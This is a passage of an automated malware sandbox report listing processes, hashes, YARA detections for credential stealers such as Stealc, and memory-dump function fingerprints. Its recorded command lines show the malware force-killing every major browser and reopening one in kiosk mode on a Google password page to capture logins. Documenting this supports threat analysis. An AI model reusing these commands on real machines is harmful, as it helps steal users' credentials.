Imagebase:	0x3c0000
File size:	1'840'128 bytes
MD5 hash:	ACC594995958C5CF5F107FE27DB38F8E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2750846673.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2745433151.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2670882787.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2750984727.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2672254040.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2704318174.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2639292968.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2670234322.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:23:28
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Imagebase:	0x820000
File size:	922'112 bytes
MD5 hash:	7F05860BAEE4FF5DA95E342EAEE96E85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:23:28
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:23:28
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:23:30
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:23:30
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff72bec0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:23:30
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:23:30
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:23:31
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:23:31
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:23:31
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:23:32
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:23:32
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:23:32
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:23:32
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:23:33
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9ad3e56-a5f8-465f-88f4-c6514a7e720b} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2357986f710 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:23:35
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"
Imagebase:	0x9f0000
File size:	1'809'920 bytes
MD5 hash:	6AF05407143697F6C49BD94E5903F73A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2681724270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2772878233.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:23:38
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 4412 -prefMapHandle 4408 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {476058cb-03a2-43ae-9358-17a682daf601} 7060 "\\.\pipe\gecko-crash-server-pipe.7060" 2350b9c0610 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:23:38
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"
Imagebase:	0xa90000
File size:	2'801'152 bytes
MD5 hash:	9A939117E7E796C8036B7A92BAC70C4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:23:43
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Imagebase:	0x820000
File size:	922'112 bytes
MD5 hash:	7F05860BAEE4FF5DA95E342EAEE96E85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001E.00000003.2732051750.00000000015C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:23:43
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:23:43
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7daf70000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:23:46
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:23:47
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:23:47
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:23:47
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:23:47
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff70f330000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:23:51
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddc58a6b-ce9e-458e-bf41-6e16069df6f3} 6688 "\\.\pipe\gecko-crash-server-pipe.6688" 1fa6786eb10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:23:51
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"
Imagebase:	0xa90000
File size:	2'801'152 bytes
MD5 hash:	9A939117E7E796C8036B7A92BAC70C4F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:23:55
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	14:23:56
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,14332118018770352098,14837137998723071509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	14:23:59
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:23:59
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1976,i,8954063643087590301,5146573607995166192,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:24:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"
Imagebase:	0x820000
File size:	922'112 bytes
MD5 hash:	7F05860BAEE4FF5DA95E342EAEE96E85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000031.00000002.3038522751.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	14:24:00
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:24:00
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 054B0C66 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c7f18cb842340fe0619a51003f07e458e4a34db00f1e97dbd329dbce5e846fd
Instruction ID: e35955d6f20ba9cbb7715ae14abbe211a0ef4bf866be65d3410615679a9a103f
Opcode Fuzzy Hash: 5c7f18cb842340fe0619a51003f07e458e4a34db00f1e97dbd329dbce5e846fd
Instruction Fuzzy Hash: 73014CFA64D100EEF782C56596496FB3B6FEA86231330445BF48A49581F2C855178532

Function 054B0CD2 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf2c32b550169cc8d8c360fe62aca67eca57e657fbfee41a049babe9e09d8c2c
Instruction ID: 80671b4ef7fd508f2e3de52552fb3d7317e1d6980eba952ce5d41d6f4215c2ee
Opcode Fuzzy Hash: cf2c32b550169cc8d8c360fe62aca67eca57e657fbfee41a049babe9e09d8c2c
Instruction Fuzzy Hash: DC0147FA24C111AEBA46C8A5875D6FB3EAFEAC6232331441BF44F89491F2C8984750B1

Function 054B0CA5 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b01ddb30148096ce9f7bdacf3b7da68b412bd73da81374051f46e1d4111650d
Instruction ID: ef2e6abc82d31a683584e874a6a46a8f6fd000efbbeb149ee909f6cf5475d05a
Opcode Fuzzy Hash: 3b01ddb30148096ce9f7bdacf3b7da68b412bd73da81374051f46e1d4111650d
Instruction Fuzzy Hash: 3501F2FB24C110BEB986C49A575D6FB3AAFE6CA2327308417F44F89582F3C485576170

Function 054B0CC0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e4c0b31ca39792c28df99c5d967a6b0f97f3afec1efb4380525e1b9cde41402
Instruction ID: 6842b7c1e44d301bd5fa48f2489e511ddae7c13ba1029b653f2c6e5324fb3f06
Opcode Fuzzy Hash: 4e4c0b31ca39792c28df99c5d967a6b0f97f3afec1efb4380525e1b9cde41402
Instruction Fuzzy Hash: C10149FE24C100BEB942D496474D6FB3A6FE6CA2327308417B84F44581F2D459435170

Function 054B0CB5 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140563e5e5e1453c7a5d40f4fe4c3e9f05855179edd044be9d5f517df21d7a37
Instruction ID: 69ed903dbef80001afefc014f9de314c4989dbdb3ebbc28176258dc383350279
Opcode Fuzzy Hash: 140563e5e5e1453c7a5d40f4fe4c3e9f05855179edd044be9d5f517df21d7a37
Instruction Fuzzy Hash: 6F0126FF24C110BEBA42D499574D6FB3A6FAA862327304417F44F45581F3D4851760B0

Function 054B0CFF Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 013a995fb0b20a12269fd603db5e225b207159b43f61b827ab6db551440e9acf
Instruction ID: 8e5565fe6a33af7ec853445409e590b4aa217814e296e9df934e02a8ed6b65a6
Opcode Fuzzy Hash: 013a995fb0b20a12269fd603db5e225b207159b43f61b827ab6db551440e9acf
Instruction Fuzzy Hash: 9D017BFA64D1205EF642D426559A2FB2B9FAA97131330042BF04786582E28585475071

Function 054B0D31 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a47ae2c6c3533a2f09ef088691922c97bd0958c283ebb5a2feeadc6b8cd644f
Instruction ID: 0ad824c6550a9d204e4a3d434e4085bbf42064170c2613bc45fe0e135ae89187
Opcode Fuzzy Hash: 4a47ae2c6c3533a2f09ef088691922c97bd0958c283ebb5a2feeadc6b8cd644f
Instruction Fuzzy Hash: E9E022FE64C010AFF581D1A6435D3FB2AAFEBC7232770452BB48B89591F2C894479472

Function 054B0D41 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728434693.00000000054B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf745f379ccc2b4fbaf23ae6616035702dde7caa41258f6c4576b307d51252b0
Instruction ID: be44c74ba93835a4657c7736d4a0a2b4e554976ce8466f32970bfe7cae456871
Opcode Fuzzy Hash: cf745f379ccc2b4fbaf23ae6616035702dde7caa41258f6c4576b307d51252b0
Instruction Fuzzy Hash: F1E02BEA64C010AEF58AD667434D1FB7A5EE5D35313304A2BB08784942F285550355B1

Function 054B0D5A Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

